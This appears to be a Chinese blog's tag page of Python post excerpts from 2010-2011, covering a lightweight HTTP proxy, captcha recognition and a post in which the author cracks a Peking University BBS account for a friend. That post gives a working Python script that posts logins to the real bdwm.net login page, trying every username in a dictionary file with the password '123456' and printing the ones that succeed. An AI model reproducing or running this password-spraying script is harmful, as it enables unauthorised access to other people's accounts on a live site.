文章关键字 ‘Python’

Python Proxy,快速、轻量级的HTTP代理服务器

2011年04月28日,星期四

Python Proxy:http://code.google.com/p/python-proxy/

所有的代码,包括注释在内181行,不要注释100行左右。Python 强大的标准库果然不是盖的啊,稍微修改一下就能实现很邪恶的功能,不是吗?

“画蛇添足”的Python

2011年04月17日,星期日

Python,直译是蟒蛇的意思,和画蛇添足似乎有那么点联系。今天就遇到了一个Python“画蛇添足”的问题。傍晚的时候有人加我QQ,说是请教Python问题,于是就通过了。通过后才发现,原来他之前加过我,前段时间清理QQ,把一些很少说话的人删掉了,其中就有他。问题是这样描述的:

(更多…)

Python,又见Python

2011年04月3日,星期日

标题出自古龙晚期小说《飞刀,又见飞刀》。《飞刀,又见飞刀》是《多情剑客无情剑》的后续,以“小李探花”李寻欢的孙子李坏与“月神”薛采月的故事为主线。标题只是为了呼应很久以前写的《Python牛刀小试》,内容上并没有联系。

(更多…)

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)

VBS也玩验证码识别

2010年10月31日,星期日

这几天不是在学Python嘛,怎么还老写VBS的东西。

其实我学Python有两个原因,一是很多开源的BT下载软件是用Python写的,哪天没事可以改改源码做做弊什么的;二是以前无意中看到《python验证码识别之Discuz》的系列文章,顿时感到Python之强大,验证码都能识别,想做什么不行?

几天下来学了点Python的皮毛,于是迫不及待的看了一下《python验证码识别之Discuz(一) 》,发现依然看不懂。并不是看不懂语法,而是看不懂算法。PIL库固然强大,但是光靠库本身还是无法识别验证码,还得加上图形算法。可见语言什么的都是浮云,会算法才是王道。

于是Google了一下验证码识别的原理,自己尝试着用VBS识别晨光BT(该网站需要IPv6网络才能访问)的验证码,发现并没有想象中的困难。之所以选择晨光BT的验证码,是因为它本身比较简单,再加上我还有它的源码,识别起来会相对容易些。

鉴于大部分网络依然是IPv4,我把生成验证码的页面放到了博客的测试目录中,可以点击这里查看。

(更多…)